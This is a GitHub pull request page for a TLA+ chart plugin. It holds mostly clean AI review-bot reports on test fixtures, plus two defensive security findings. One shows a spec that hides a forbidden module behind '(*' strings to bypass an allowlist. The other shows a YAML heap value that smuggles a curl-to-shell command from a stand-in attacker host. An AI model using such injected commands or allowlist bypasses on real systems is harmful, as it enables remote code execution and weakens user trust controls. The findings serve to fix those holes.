  • Code: nothing in this chunk runs code. The specs extend only Naturals, and CounterRules also instances its local Moves module, so they reach no file-touching module such as Json or IOUtils.
  • Fixture contents: no secrets, tokens or credentials. The only machine details are temp paths (/tmp/statechart-*), the kernel string, the JVM vendor, pids and timestamps. There is no home folder or user path. This matches the pull request's stated fixture contents.
  • Trust controls: none of these files is a manifest, hook, workflow, trusted path or standing instruction, so none applies.
  • Spend: none.

This review was blocking only (an earlier head was already reviewed). None of the prior findings is on a file in this chunk; they live in other chunks.

Chunk 6 of 12 (40 files)

claude-security-review, chunk 6 of 12 (blocking only: this lane already reviewed earlier heads, so only CRITICAL and IMPORTANT findings are reported)

I read all 40 files in this chunk. They are new test-corpus fixtures under plugins/formal-verification/skills/chart/scripts/test/corpus/, for the CounterStart (verdict-2 only), CounterStop, CounterTie, CounterTieInGraph, CounterView and DieHard cases. The files are:

  • TLA+ specs and .cfg files
  • captured TLC and SANY output (*.out, sany.out XML)
  • the expected chart.mmd, graph.dot and report.md outputs
  • one view module

No security issues found in this chunk.

  • The TLA+ specs use only EXTENDS Naturals. None uses INSTANCE, IO or Json modules, or strings that could hide them.
  • CounterView/view.mjs exports one pure function, state = ({ x }) => .... It has no imports and no IO.
  • The captured output holds only throwaway /tmp/statechart-* paths, pids, random seeds and a WSL kernel or JVM banner. It contains no tokens, secrets or account details.
  • These files change no workflow, manifest, hook, trust control or merge hold.

Spend: none, and nothing in this chunk can start a charge.

Chunk 7 of 12 (40 files)

claude-security-review, chunk 7 of 12 (blocking only: this lane already reviewed earlier heads, so only CRITICAL and IMPORTANT findings would be posted.)

I read all 40 files in this chunk and found no security issues.

What the chunk holds: the chart skill's test corpus for DieHard, FirstRule, HiddenClock, Login and the first part of LoginGuarded, under plugins/formal-verification/skills/chart/scripts/test/corpus/. The files are TLA+ specs, TLC configs, expected charts, state graphs and reports, captured SANY and TLC output, and one view file. A subagent read the single-line Login/sany.out because the line is too long for one read here; it is ordinary SANY parse output.

  • Specs: each spec extends only Naturals or nothing. None uses INSTANCE, the Json or IOUtils modules, or a string that holds (*, so the module-allowlist gap reported earlier on guard.ts gets no new case here.
  • View file: Login/view.mjs is one pure function that splits v.main on .. It does no I/O and reads no environment.
  • Captured output: the .out files show TLC's run header (process id, WSL kernel, Java version) and /tmp/statechart-* paths. They contain no home folder, user path, token or secret, and no text addressed to a reviewer or agent.
  • Gates: nothing here is a trust control, merge hold, workflow, manifest or instruction surface. Only the chart tests in the Test Node lane read these fixtures.

The earlier findings on marketplace.json, plugin.json and guard.ts belong to other chunks and are not repeated here.

Chunk 8 of 12 (18 files)

claude-security-review, chunk 8 of 12 (blocking only: this lane already reviewed earlier heads of this PR)

No security issues in this chunk.

I read all 18 files. They are new test-corpus fixtures for the chart skill, under plugins/formal-verification/skills/chart/scripts/test/corpus/:

  • LoginGuarded/: sany.out, verdict-1.out, view.mjs
  • LoginParallel/: ChartRun.out, .cfg, .tla, chart.mmd, graph.dot, report.md, sany.out, verdict-1.out, verdict-2.out
  • MediaPlayer/: ChartRun.out, .cfg, .tla, chart.mmd, graph.dot, report.md

What the files contain:

  • The .tla specs extend no modules and reference no INSTANCE, so the module allowlist is not exercised.
  • The .cfg files hold only SPECIFICATION, INVARIANT, PROPERTY and CHECK_DEADLOCK.
  • view.mjs is one pure function that maps two state variables. It does no I/O, imports nothing and reads no environment.
  • The .out files are TLC and SANY output. They show only run headers (kernel version, core count, heap, pid, seed, timestamps) and /tmp/statechart-* paths. There are no tokens, secrets, home folders or user paths.
  • The .mmd, .dot and report.md files are generated output with fixed state labels.

None of these files is a hook, workflow, manifest, trust control or standing instruction. None matches a trusted-path glob. No prior finding or settled thread is on a file in this chunk; the earlier findings are on files other chunks hold.

Chunk 9 of 12 (17 files)

claude-security-review, chunk 9 of 12 (blocking only: this lane already reviewed an earlier head)

I found no security issues in this chunk.

I read all 17 files. They are test corpus fixtures under plugins/formal-verification/skills/chart/scripts/test/corpus/, in the MediaPlayer, MediaPlayerFixed and MediaPlayerProps folders:

  • Recorded checker output: two SANY XML dumps (sany.out), TLC output (verdict-*.out, ChartRun.out) and a TLC state graph (graph.dot).
  • Specs: two TLA+ specs and their .cfg files. They extend only each other and use no file-touching module such as Json or IOUtils.
  • Rendered results: the expected Mermaid charts and report.md files.
  • One view file: MediaPlayer/view.mjs, which defines two pure functions (a field mapping and a regex label split). It does no I/O, no imports and no environment reads.

Checks I made:

  • Leaks: the recorded TLC output holds only /tmp/statechart-* temp paths, process ids, the kernel and JDK versions, and timestamps. A search of the chunk for home folders, user paths and token or secret patterns found nothing.
  • Trust controls and manifests: no file in this chunk is a trusted path, workflow, manifest, hook or instruction file. Nothing here widens a trusted actor, token scope, kill switch or merge hold.
  • Prior findings: none of this lane's earlier inline findings are on files in this chunk.

Chunk 10 of 12 (38 files)

claude-security-review, chunk 10 of 12: no security issues found.

This was a blocking-only review: the lane already reviewed earlier heads, so it reports only CRITICAL and IMPORTANT findings.

All 38 files in this chunk are new test-corpus fixtures under plugins/formal-verification/skills/chart/scripts/test/corpus/: MediaPlayerProps, PickWorker, Shadow, SpacedNames and TwoPhase. They are TLA+ specs, .cfg files, Mermaid and DOT charts, report.md files and captured TLC/SANY output. Every hunk was read.

What was checked:

  • Secrets and personal data: no tokens, keys or credentials, and no username, home folder, hostname or IP. Every parse path is a random /tmp/statechart-* staging folder.
  • Machine details: TLC's banner line (message 2187) does record the machine that made the fixtures: the WSL2 kernel build, the core count, the heap size, the JDK vendor and a process ID. That identifies no person and gives an attacker nothing to use, so it is not a finding.
  • Embedded instructions: no text in the reports, chart labels or TLC output is aimed at a model.
  • Unsafe expected behaviour: none. The Shadow case tests operator-name shadowing between the spec's own modules. No fixture shadows a standard module, and none uses a file-touching module such as Json or IOUtils.
  • Executable content: nothing in this chunk is code. These are inputs to the model checker and its expected outputs. They do not touch any trust control, workflow, manifest or hold path.

This lane's earlier findings on this PR concern files outside this chunk.

Chunk 11 of 12 (26 files)

claude-security-review, chunk 11 of 12: no security issues found. This was a blocking-only review: the lane already reviewed earlier heads.

What this chunk holds. 26 added test-corpus fixtures for plugins/formal-verification/skills/chart/scripts/test/corpus/, covering the TwoPhase, TwoPhaseFixed, TypeGuard and UserNoDeadlock cases. The files are:

  • TLA+ specs and .cfg files
  • TLC *.out logs and SANY XML dumps
  • Mermaid chart.mmd, graph.dot and report.md files
  • one view module, TwoPhase/view.mjs

Why nothing here is a finding.

  • view.mjs is a pure state-projection arrow function. It does no I/O and makes no imports.
  • The TLC logs carry only the run header and /tmp/statechart-* paths. There is no home folder or user path, and no token, secret, URL or credential (searched the whole chunk).
  • No manifest, hook, workflow, trust control or instruction surface is touched. No file in this chunk matches a trusted-path glob.
  • The fixtures change no code the earlier findings rest on, so nothing from prior findings applies to this chunk.

Coverage: partial. I read 25 of the 26 files in full. TwoPhase/sany.out is a single XML line too long to load whole in this session, so I read only about 45k characters of it. I searched the rest for URLs, paths, tokens and script tags and found none. It is SANY parser output for TwoPhase.tla, the same shape as the TwoPhaseFixed/sany.out I read in full.

Chunk 12 of 12 (23 files)

claude-security-review, chunk 12 of 12 (blocking only: this lane reviewed earlier heads).

No new security findings in this chunk's 23 files. What I checked:

  • worker.ts runs the --view file as JavaScript. Known and accepted by the owner (ADR 0093). This chunk adds no new route for untrusted input.
  • skills/setup/SKILL.md puts the model_checker_jar, java and script_runtime user settings single-quoted into a Bash line (L30). Same issue as this lane's open plugin.json threads (lines unchanged). They are the user's own values with no attacker path, so not re-raised.
  • outside-node-packages.txt adds the chart scripts to the Test Node lane. npm test runs only node --test test/*.test.ts, with no install scripts. fast-check 4.5.3 is pinned and in the committed lockfile. Without TLA2TOOLS, the TLC tests skip.
  • Test harness (test/java.ts, tlc.ts, differential.test.ts, update-corpus.ts, render.test.ts) spawns Java or Node only under test-time environment variables, and no skill or lane calls it. guard.test.ts checks that childEnv drops GH_TOKEN and the JAVA_TOOL_OPTIONS variables.
  • Corpus .out fixtures hold only TLC's run header and temp paths: no home folder or secret.
  • shared-copies.txt and fragment-plugins.txt only register the plugin's lib copies and its changelog fragment.

This chunk touches no trust control, token scope, kill switch or merge hold.

Spend: about 36 s more per Test Node CI run, on standard runners and existing Actions usage. Not a hold.

critical-findings: 0

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

claude-review: 6 inline finding(s) on bf5c619af2019ddeec180ec1a9ac874d500bbf09; the summary is in this lane's pull request comment.

claude-lane: claude-review

@github-actions

github-actions Bot commented Nov 16, 2026 •

Copy link
Copy Markdown
Contributor

claude-review reviewed 9eb40bc77e73a77c3c4d51056d03d461cceb088d: read 8 of 8 changed file(s); 0 finding(s), 0 as inline comments.

claude-review, incremental (0af0d1a → 9eb40bc), blocking only: this lane already reviewed an earlier head, so only blocking findings count. I read every hunk of all 8 files in this increment and found nothing blocking.

What changed and what I checked:

  • chart/scripts/statechart: when the named --runtime is missing or too old, the launcher now prints a line naming that runtime. It then falls through to the general message and exit 127. start returns without exiting when the version check fails, so the flow is correct. chart/SKILL.md now documents exit 127, and the launcher does exit 127.
  • ir.ts escapeText (exported as escapeMarkdown): CR/LF runs now collapse to one space before Markdown escaping, and guard.test.ts gains a test for it. Every caller (passes/label.ts, passes/region-check.ts, backends/report.ts:32) puts the result inside one line of prose or a quoted state, so no caller loses a newline it needs.
  • ClaimProtocol.tla and the formal-claim-protocol SKILL.md cite "reclaim ignores items with no lease". That comment is at plugins/work-items/tools/work-item-tracker/adapters/github/claim.sh:80, so the citation is accurate. The other SKILL.md edits change only prose (the rerun bound note and the three-claimant hand-run result).
  • The README now says prerequisites.json declares the jar. It does: there is a model-checker row with a degrade note.
  • docs/upstream/cursor-pstack.md: the statechart row now records that the Mermaid renderer fix from upstream (feat(pstack): new default models, one-file why and how, statechart fixes, sharpen and reflect text cursor/plugins#1236) is not in the copy. That matches the paragraph above the table.

Two earlier inline findings are still open. They are on backends/report.ts (the tlc.out pointer for a path a later run found) and test/corpus/PickWorker/report.md (a liveness result under SYMMETRY). This push doesn't change either file, so I didn't review them again.

Not verified: I ran nothing. The three-claimant count (202,568,284 states at a548b3a) and the test results are the author's claims.

Spend: none in this increment. I found no embedded instructions in the PR context, settled-threads or prior-findings files.

Verifier dropped 0 of 0 candidates.

@kyle-sexton

Copy link
Copy Markdown
Member Author

Session note (agent). Ready since 12:4x PM EST; red on three things, all being fixed in one push:

  • Lint Repo: the 33 final newline expected errors are TLC-generated graph.dot corpus fixtures the tests compare byte for byte, so they get an .editorconfig exemption, not a newline.
  • Check Plugins (cant-fail-scan): render.test.ts:58 gets an explicit assert.doesNotReject.
  • Review threads (12 open): the view.mjs finding is fixed and checked with a chart run through the new states; the six script findings are being fixed with tests; the four security flags restate risk the owner accepted (ADR 0093) and get a reply.

Owner, in session today: #16515 stays merged and this pull request merges with Closes #15648.

kyle-sexton and others added 4 commits November 16, 2026 13:05
- run.ts resolves a relative --jar and --java before Java starts in its
  temp folder.
- The launcher and toolchain.mjs apply the runtime version floors to a
  named --runtime too, for Node, Bun and Deno.
- toolchain.mjs refuses a java.min_version that is not a whole number.
- toolchain.mjs and settings.mjs run when reached through a symlink.
- --timeout-seconds and timeout_seconds are capped at 2147483.
- The eval graders match the quoted toolchain.mjs commands the skills run.
- The claim-protocol view labels the hand-back's list states and the
  outranked release.
- render.test.ts asserts the mermaid parse; the corpus graph.dot files,
  which TLC writes with no final newline, are exempt from that rule.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
TLC writes each graph.dot with no final newline and the corpus tests compare the files byte for byte. The exclude moves from .editorconfig, a managed file, to the workflow step.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

claude-security-review: 1 inline finding(s) on 0af0d1aa8d9e99f7aff441029562f651df1403c5; the summary is in this lane's pull request comment.

claude-lane: claude-security-review

Comment on lines +55 to +73
export function stripComments(tla: string) {
let out = "";
let depth = 0;
for (let i = 0; i < tla.length; i++) {
if (tla.startsWith("(*", i)) {
depth++;
i++;
} else if (depth && tla.startsWith("*)", i)) {
depth--;
i++;
} else if (!depth && tla.startsWith("\\*", i)) {
const end = tla.indexOf("\n", i);
if (end === -1) break;
i = end - 1;
} else if (!depth) out += tla[i];
else if (tla[i] === "\n") out += "\n";
}
return out;
}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The module allowlist can be bypassed with a string that contains (*.

stripComments does not know about TLA+ string literals. A (* inside a string opens a "comment" here, but SANY reads it as string text. Everything up to the next *), even one inside another string, is then dropped before referencedModules (line 79) scans for EXTENDS/INSTANCE.

Example spec:

---- MODULE Evil ----
EXTENDS Naturals
Open == "(*"
J == INSTANCE Json
Close == "*)"
...
====
  • referencedModules returns only ["Naturals"], so the check in stageSpec (stage.ts, the allowed.includes(used) loop) passes.
  • SANY and TLC then load Json, whose operators read and write files at any path the user can reach.
  • SANY accepts this layout: the PR's own a "(*" string test case (Str, with Open == "(*" … Close == "*)" and a declaration between them) passes.

This defeats the fix the PR lists as review finding #4. That fix is the guard that makes allowed_modules the user's trust lever. A string holding \* (for example "\\*") also hides the rest of its line. The same gap affects moduleName and usesGeneratedName.

Why IMPORTANT, not CRITICAL: under the owner's decision of 2026-11-15, untrusted specs are not a threat in this estate, and no lane or CI job runs TLC. So I found no attacker path to a leak, compromise or charge.

Fix: have stripComments copy string literals through unchanged. On " outside a comment, copy up to the closing unescaped ", stepping over each \ and the character after it. Add a guard test with INSTANCE Json placed between "(*" and "*)".

severity: IMPORTANT

claude-lane: claude-security-review

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

claude-review: 2 inline finding(s) on 0af0d1aa8d9e99f7aff441029562f651df1403c5; the summary is in this lane's pull request comment.

claude-lane: claude-review

Comment on lines +155 to +157
out.push(
pathBlock(path, bug.rule.kind === "property" ? `tlc-${bug.rule.name}.out` : "tlc.out"),
);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A cut-off invariant or deadlock path found in a later TLC run points to a file that doesn't have it.

For an invariant or deadlock, pathBlock names tlc.out as the place for the full path. When the path is longer than MAX_BUG_LINES (200), the block ends with ... N more steps; the full path is in tlc.out. Two things make that pointer wrong:

  • tlc.out is plainText(result.messages), and run.ts sets messages: messagesOf(judged.first.output). That is only the first verdict run. A rule that breaks in verdict-2 or later has its trace only in that run's output.
  • pipeline.ts:71-74 writes tlc-RULE.out only for a broken rule that is not in drawn. Every non-property bug in found is in drawn, so this rule gets no file of its own.

How it fails: take a config with two invariants. A breaks in the first run, and B breaks in the rerun with a shortest path over 200 steps. This is easy above the chart budget, where paths come straight from the counterexample and the rerun bound is 100,000 states. The report prints 200 steps of B, then points to tlc.out. But tlc.out holds A's trace, and the output folder has no tlc-B.out. The full counterexample is in no file. This also contradicts reference/read-report.md, which tells the reader where each path is.

Fix: in compile, also write tlc-${rule.name}.out for each broken rule whose verdict messages are not the first run's (or whose path is longer than MAX_BUG_LINES). Have pathBlock name that file whenever it exists. Add a CLI test with a rerun-found path over 200 steps that checks the named file exists and holds the trace.

claude-lane: claude-review

Comment on lines +6 to +7
## Rules that hold
PicksFirst

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This golden report says a liveness property holds when the spec violates it, and the corpus test locks that in.

Here is why PicksFirst == <>(First \in picked) is false:

  • The cfg sets Workers = {w1, w2} and First = w1.
  • Take the behavior picked = {} → Pick(w2) → picked = {w2}, then stutter forever.
  • That behavior satisfies Spec: once something is picked, Next is disabled, so WF_picked(Next) holds.
  • In that behavior, w1 \in picked is never true.

TLC passes the property only because SYMMETRY Perms folds {w2} into {w1} (graph.dot shows both Pick edges reaching one {w1} node). First is a fixed model value, so the property is not symmetric under that permutation.

TLC warns about this. verdict-1.out records message 2279: "Declaring symmetry during liveness checking is dangerous. It might cause TLC to miss violations of the stated liveness properties." Nothing in the chart scripts reads 2279. The only SYMMETRY note in the report (backends/report.ts L141-146) is about arrows. L165 then puts every PROPERTY whose outcome is holds under "Rules that hold".

How it fails: run /formal-verification:chart on this corpus spec, or on any spec with both SYMMETRY and a PROPERTY. The command exits 0, and the report says the property holds, with nothing telling the user the result may be unsound. corpus.test.ts compares the output to this file byte for byte, so a fix that flagged the result would fail the test.

Fix: when TLC emits 2279, or whenever the cfg has SYMMETRY and any PROPERTY is checked, do not list those properties under "Rules that hold". Either list them under a caveat line telling the user to recheck liveness without SYMMETRY, or rerun the property groups without the SYMMETRY section. Then regenerate this golden.

claude-lane: claude-review

…found

The fifth script group's review: the launcher names a rejected --runtime, escapeText folds line breaks, and the chart skill documents exit 127. The claim-protocol skill records the three-claimant run without renew and the source line behind EndStateReclaimable. The upstream record says the copy lacks the renderer fix of cursor/plugins#1236. The README no longer says the jar is undeclared.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

claude-security-review: 1 inline finding(s) on 9eb40bc77e73a77c3c4d51056d03d461cceb088d; the summary is in this lane's pull request comment.

claude-lane: claude-security-review

Comment on lines +234 to +235
const { bounds, allowed_modules } = opts.settings;
console.log(JSON.stringify({ jar: found.jar, java: found.java, runtime: found.runtime, bounds, allowed_modules }));

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

resolve outputs repository-set bounds.heap and allowed_modules without checking them, and the chart skill has the model paste them into a Bash command.

The schema gives heap the pattern ^[1-9][0-9]*[kKmMgG]?$ and allowed_modules items no pattern at all. lib/config-cascade.mjs does not honor pattern (its header lists the subset it checks), so any string from the consumer's docs/conventions/formal-verification.yaml, or from its .local.yaml, reaches this JSON.

chart/SKILL.md step 2 then tells the model to build --heap <size> ... --modules <a,b> from these values inside a ```bash block. statechart.ts does re-check `--heap` and `--modules` (`^\w+(,\w+)*$`), but only after the shell has already expanded the line. Example:

bounds:
  heap: "4g$(curl -s https://evil.example/x|sh)"

Any repository the user charts in can put that value there. The command substitution runs before statechart.ts starts.

A second gap in the same data flow: the repository's file can also add Json (or any module) to allowed_modules. That turns off the module refusal the ADR 0093 record lists as a control, so the repository decides the trust choice the guard is meant to leave with the user.

Why IMPORTANT, not CRITICAL:

  • The plugin is opt-in ("defaultEnabled": false).
  • No lane or workflow runs the chart: .github/ names it only in the lint exclude.
  • In an attended session, the Bash call still goes through the user's permission prompt.
  • The owner's 2026-11-15 decision puts untrusted repositories outside this estate's threat model.

Fix: in inspect/resolve, refuse values the way java.min_version already is:

  • refuse a heap that fails ^[1-9][0-9]*[kKmMgG]?$;
  • refuse an allowed_modules item that fails ^\w+$;
  • consider refusing, or at least naming, modules outside the shipped default list when the value comes from the repository layer.

In step 2, also have the skill single-quote every value it pastes into the command.

severity: IMPORTANT

claude-lane: claude-security-review

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

do-not-merge Hard merge gate: do not merge while applied.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Add the formal-verification plugin's chart skill, setup and consumer contract, proven on the loop-lane claim protocol

1 participant